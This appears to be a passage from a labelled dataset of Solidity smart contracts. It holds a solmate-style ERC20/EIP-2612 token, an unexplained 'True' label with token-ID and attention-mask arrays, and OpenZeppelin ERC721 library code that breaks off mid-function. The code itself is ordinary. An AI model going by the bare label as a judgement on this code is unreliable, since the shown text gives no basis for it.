}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity >=0.8.0;
/// @notice Modern and gas efficient ERC20 + EIP-2612 implementation.
/// @author Modified from Uniswap (https://github.com/Uniswap/uniswap-v2-core/blob/master/contracts/UniswapV2ERC20.sol)
abstract contract ERC20 {
/*///////////////////////////////////////////////////////////////
EVENTS
//////////////////////////////////////////////////////////////*/
event Transfer(address indexed from, address indexed to, uint256 amount);
event Approval(address indexed owner, address indexed spender, uint256 amount);
/*///////////////////////////////////////////////////////////////
METADATA STORAGE
//////////////////////////////////////////////////////////////*/
string public name;
string public symbol;
uint8 public immutable decimals;
/*///////////////////////////////////////////////////////////////
ERC20 STORAGE
//////////////////////////////////////////////////////////////*/
uint256 public totalSupply;
mapping(address => uint256) public balanceOf;
mapping(address => mapping(address => uint256)) public allowance;
/*///////////////////////////////////////////////////////////////
EIP-2612 STORAGE
//////////////////////////////////////////////////////////////*/
bytes32 public constant PERMIT_TYPEHASH =
keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)");
uint256 internal immutable INITIAL_CHAIN_ID;
bytes32 internal immutable INITIAL_DOMAIN_SEPARATOR;
mapping(address => uint256) public nonces;
/*///////////////////////////////////////////////////////////////
CONSTRUCTOR
//////////////////////////////////////////////////////////////*/
constructor(
string memory _name,
string memory _symbol,
uint8 _decimals
) {
name = _name;
symbol = _symbol;
decimals = _decimals;
INITIAL_CHAIN_ID = block.chainid;
INITIAL_DOMAIN_SEPARATOR = computeDomainSeparator();
}
/*///////////////////////////////////////////////////////////////
ERC20 LOGIC
//////////////////////////////////////////////////////////////*/
function approve(address spender, uint256 amount) public virtual returns (bool) {
allowance[msg.sender][spender] = amount;
emit Approval(msg.sender, spender, amount);
return true;
}
function transfer(address to, uint256 amount) public virtual returns (bool) {
balanceOf[msg.sender] -= amount;
// Cannot overflow because the sum of all user
// balances can't exceed the max uint256 value.
unchecked {
balanceOf[to] += amount;
}
emit Transfer(msg.sender, to, amount);
return true;
}
function transferFrom(
address from,
address to,
uint256 amount
) public virtual returns (bool) {
if (allowance[from][msg.sender] != type(uint256).max) {
allowance[from][msg.sender] -= amount;
}
balanceOf[from] -= amount;
// Cannot overflow because the sum of all user
// balances can't exceed the max uint256 value.
unchecked {
balanceOf[to] += amount;
}
emit Transfer(from, to, amount);
return true;
}
/*///////////////////////////////////////////////////////////////
EIP-2612 LOGIC
//////////////////////////////////////////////////////////////*/
function permit(
address owner,
address spender,
uint256 value,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s
) public virtual {
require(deadline >= block.timestamp, "PERMIT_DEADLINE_EXPIRED");
// Unchecked because the only math done is incrementing
// the owner's nonce which cannot realistically overflow.
unchecked {
bytes32 digest = keccak256(
abi.encodePacked(
"\x19\x01",
DOMAIN_SEPARATOR(),
keccak256(abi.encode(PERMIT_TYPEHASH, owner, spender, value, nonces[owner]++, deadline))
)
);
address recoveredAddress = ecrecover(digest, v, r, s);
require(recoveredAddress != address(0) && recoveredAddress == owner, "INVALID_PERMIT_SIGNATURE");
allowance[recoveredAddress][spender] = value;
}
emit Approval(owner, spender, value);
}
function DOMAIN_SEPARATOR() public view virtual returns (bytes32) {
return block.chainid == INITIAL_CHAIN_ID ? INITIAL_DOMAIN_SEPARATOR : computeDomainSeparator();
}
function computeDomainSeparator() internal view virtual returns (bytes32) {
return
keccak256(
abi.encode(
keccak256("EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)"),
keccak256(bytes(name)),
keccak256(bytes("1")),
block.chainid,
address(this)
)
);
}
/*///////////////////////////////////////////////////////////////
INTERNAL MINT/BURN LOGIC
//////////////////////////////////////////////////////////////*/
function _mint(address to, uint256 amount) internal virtual {
totalSupply += amount;
// Cannot overflow because the sum of all user
// balances can't exceed the max uint256 value.
unchecked {
balanceOf[to] += amount;
}
emit Transfer(address(0), to, amount);
}
function _burn(address from, uint256 amount) internal virtual {
balanceOf[from] -= amount;
// Cannot underflow because a user's balance
// will never be larger than the total supply.
unchecked {
totalSupply -= amount;
}
emit Transfer(from, address(0), amount);
}
} | True | [
101,
1013,
1013,
23772,
2595,
1011,
6105,
1011,
8909,
4765,
18095,
1024,
10210,
1013,
1013,
4427,
2011,
6540,
3533,
2358,
15495,
2029,
1999,
2735,
2003,
5173,
2013,
1996,
10514,
6182,
26760,
9331,
3040,
5403,
2546,
3206,
10975,
8490,
2863,
5024,
3012,
1014,
1012,
1022,
1012,
2184,
1025,
12324,
1000,
1030,
10958,
3089,
1011,
3007,
1013,
14017,
8585,
1013,
5034,
2278,
1013,
21183,
12146,
1013,
3647,
6494,
3619,
7512,
29521,
1012,
14017,
1000,
1025,
12324,
1000,
1012,
1012,
1013,
8860,
1013,
11771,
12384,
3085,
1012,
14017,
1000,
1025,
1013,
1008,
1008,
1008,
1030,
2516,
3894,
6297,
2358,
15495,
1008,
1030,
3166,
1014,
2595,
5017,
4115,
1008,
1013,
3206,
5796,
11880,
4877,
17904,
2003,
11771,
12384,
3085,
1063,
2478,
3647,
6494,
3619,
7512,
29521,
2005,
9413,
2278,
11387,
1025,
1013,
1013,
1013,
1030,
5060,
18558,
1997,
2169,
5310,
2358,
6820,
6593,
5310,
2378,
14876,
1063,
21318,
3372,
12521,
2620,
3815,
1025,
21318,
3372,
12521,
2620,
10377,
3207,
19279,
1025,
21318,
3372,
12521,
2620,
2197,
4215,
5732,
1025,
1013,
1008,
1008,
1008,
1030,
5060,
2057,
2079,
2070,
11281,
8785,
2182,
1012,
10468,
1010,
2151,
2391,
1999,
2051,
1010,
1996,
3815,
1997,
3533,
2015,
1008,
4709,
2000,
1037,
5310,
2021,
2003,
14223,
2000,
2022,
5500,
2003,
1024,
1008,
1008,
14223,
10377,
1027,
1006,
5310,
1012,
3815,
1008,
16222,
15603,
4232,
7347,
8167,
2063,
1007,
1011,
5310,
1012,
10377,
3207,
19279,
1031,
19204,
1033,
1008,
1008,
7188,
1037,
5310,
10042,
2030,
10632,
2015,
6297,
1012,
2182,
1005,
1055,
2054,
6433,
1024,
1008,
1015,
1012,
16222,
15603,
4232,
7347,
8167,
2063,
1006,
1998,
1036,
2197,
15603,
4232,
26657,
1036,
1007,
4152,
7172,
1008,
1016,
1012,
5310,
8267,
1996,
14223,
10377,
2741,
2000,
2010,
1013,
2014,
4769,
1008,
1017,
1012,
5310,
1005,
1055,
1036,
3815,
1036,
4152,
7172,
1008,
1018,
1012,
5310,
1005,
1055,
1036,
10377,
3207,
19279,
1031,
19204,
1033,
1036,
4152,
7172,
1008,
1013,
1065,
9413,
2278,
11387,
2270,
10047,
28120,
3085,
6297,
1025,
1013,
1013,
1013,
1030,
5060,
9140,
1997,
19204,
2015,
2008,
5198,
2064,
4366,
9413,
2278,
11387,
2270,
10047,
28120,
3085,
2771,
2213,
1025,
1013,
1013,
1013,
1030,
5060,
2197,
10377,
5703,
1997,
1036,
19204,
1036,
21318,
3372,
17788,
2575,
2270,
2197,
15603,
4232,
26657,
1025,
1013,
1013,
1013,
1030,
5060,
3815,
1997,
2051,
2008,
1996,
2597,
2003,
5299,
2005,
1012,
21318,
3372,
17788,
2575,
2797,
5377,
5843,
1035,
2051,
1027,
2484,
2847,
1025,
22017,
2140,
2270,
2000,
24679,
7878,
6279,
1025,
1013,
1013,
1013,
1030,
5060,
14830,
1036,
19204,
1036,
19054,
2566,
3745,
1010,
18953,
2000,
1036,
16222,
1035,
10377,
1035,
2566,
1035,
3745,
1035,
11718,
1036,
21318,
3372,
17788,
2575,
2270,
16222,
15603,
4232,
7347,
8167,
2063,
1025,
1013,
1013,
1013,
1030,
5060,
1996,
11718,
1997,
1036,
16222,
15603,
4232,
7347,
8167,
2063,
1036,
21318,
3372,
17788,
2575,
2270,
5377,
16222,
1035,
10377,
1035,
2566,
1035,
3745,
1035,
11718,
1027,
1015,
2063,
18827,
1025,
1013,
1013,
1013,
1030,
16475,
18558,
1997,
2169,
5310,
2008,
7533,
6297,
12375,
1006,
4769,
1027,
1028,
5310,
2378,
14876,
1007,
2270,
5310,
2378,
14876,
1025,
1013,
1013,
1013,
1030,
5060,
22627,
2043,
1037,
5310,
10042,
6297,
102
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
]
|
/*
................................................................................
................................................................................
................................................................................
................................................................................
................................................................................
................................................................................
.....................................................@@@@@@.....................
..................................................@##########@..................
..................@@####@.......................@##############@................
................@##########@...................######@@@@######@................
................######%#####@..@@@#############@@@#&,,,,,@#####@................
................@###@,,,,@@% #######################@,,,@####@.................
..................@###@@ ##############################@####@..................
....................@ ############@@##@@#################@.....................
...................@@(###@########@#///@#@#################@....................
...................@#///@#@#######@#@@@@#@##################....................
....................@@##@@#################################@....................
....................@#@%%&&&&&&@,,,,,,,,@@#################@....................
....................,,,,@&&&&@,,,,,,,,,,,,@###############@.....................
...................@,,,,,,,,,,,,,,,,,,,,,,,%#############/......................
....................@,,,,@,,,,@@,,,,,,,,,,@############@........................
.....................@,,,,,,,,,,,,,,,,,,,@###########@..........................
......................@/,,,,,,,,,,,,,,,,@##########@............................
.........................@,,,,,,,,,,,,@##########@..............................
............................@@(,,,,@@#########%*................................
............................&(#%##########&,#&@.................................
..........................@##@%&@######*(*#####@...............................
........................@###@ #%@%@/.&*(/#@#######@.............................
.......................@ ,#@#######&((####@########@............................
......................@#.##@##############@#########@...........................
*/
// SPDX-License-Identifier: MIT AND GPL-3.0
// File: @openzeppelin/contracts/utils/introspection/IERC165.sol
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// File: @openzeppelin/contracts/token/ERC721/IERC721.sol
pragma solidity ^0.8.0;
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
// File: @openzeppelin/contracts/token/ERC721/IERC721Receiver.sol
pragma solidity ^0.8.0;
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721Receiver {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
// File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol
pragma solidity ^0.8.0;
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Metadata is IERC721 {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
// File: @openzeppelin/contracts/utils/Address.sol
pragma solidity ^0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// File: @openzeppelin/contracts/utils/Context.sol
pragma solidity ^0.8.0;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// File: @openzeppelin/contracts/utils/Strings.sol
pragma solidity ^0.8.0;
/**
* @dev String operations.
*/
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
// File: @openzeppelin/contracts/utils/introspection/ERC165.sol
pragma solidity ^0.8.0;
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
// File: @openzeppelin/contracts/token/ERC721/ERC721.sol
pragma solidity ^0.8.0;
/**
* @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
* the Metadata extension, but not including the Enumerable extension, which is available separately as
* {ERC721Enumerable}.
*/
contract ERC721 is Context, ERC165, IERC721, IERC721Metadata {
using Address for address;
using Strings for uint256;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Mapping from token ID to owner address
mapping(uint256 => address) private _owners;
// Mapping owner address to token count
mapping(address => uint256) private _balances;
// Mapping from token ID to approved address
mapping(uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
/**
* @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
return
interfaceId == type(IERC721).interfaceId ||
interfaceId == type(IERC721Metadata).interfaceId ||
super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view virtual override returns (uint256) {
require(owner != address(0), "ERC721: balance query for the zero address");
return _balances[owner];
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view virtual override returns (address) {
address owner = _owners[tokenId];
require(owner != address(0), "ERC721: owner query for nonexistent token");
return owner;
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
string memory baseURI = _baseURI();
return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : "";
}
/**
* @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
* token will be the concatenation of the `baseURI` and the `tokenId`. Empty
* by default, can be overriden in child contracts.
*/
function _baseURI() internal view virtual returns (string memory) {
return "";
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public virtual override {
address owner = ERC721.ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(
_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not owner nor approved for all"
);
_approve(to, tokenId);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view virtual override returns (address) {
require(_exists(tokenId), "ERC721: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
require(operator != _msgSender(), "ERC721: approve to caller");
_operatorApprovals[_msgSender()][operator] = approved;
emit ApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
//solhint-disable-next-line max-line-length
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public virtual override {
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_safeTransfer(from, to, tokenId, _data);
}
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* `_data` is additional data, it has no specified format and it is sent in call to `to`.
*
* This internal function is equivalent to {safeTransferFrom}, and can be used to e.g.
* implement alternative mechanisms to perform token transfer, such as signature-based.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeTransfer(
address from,
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_transfer(from, to, tokenId);
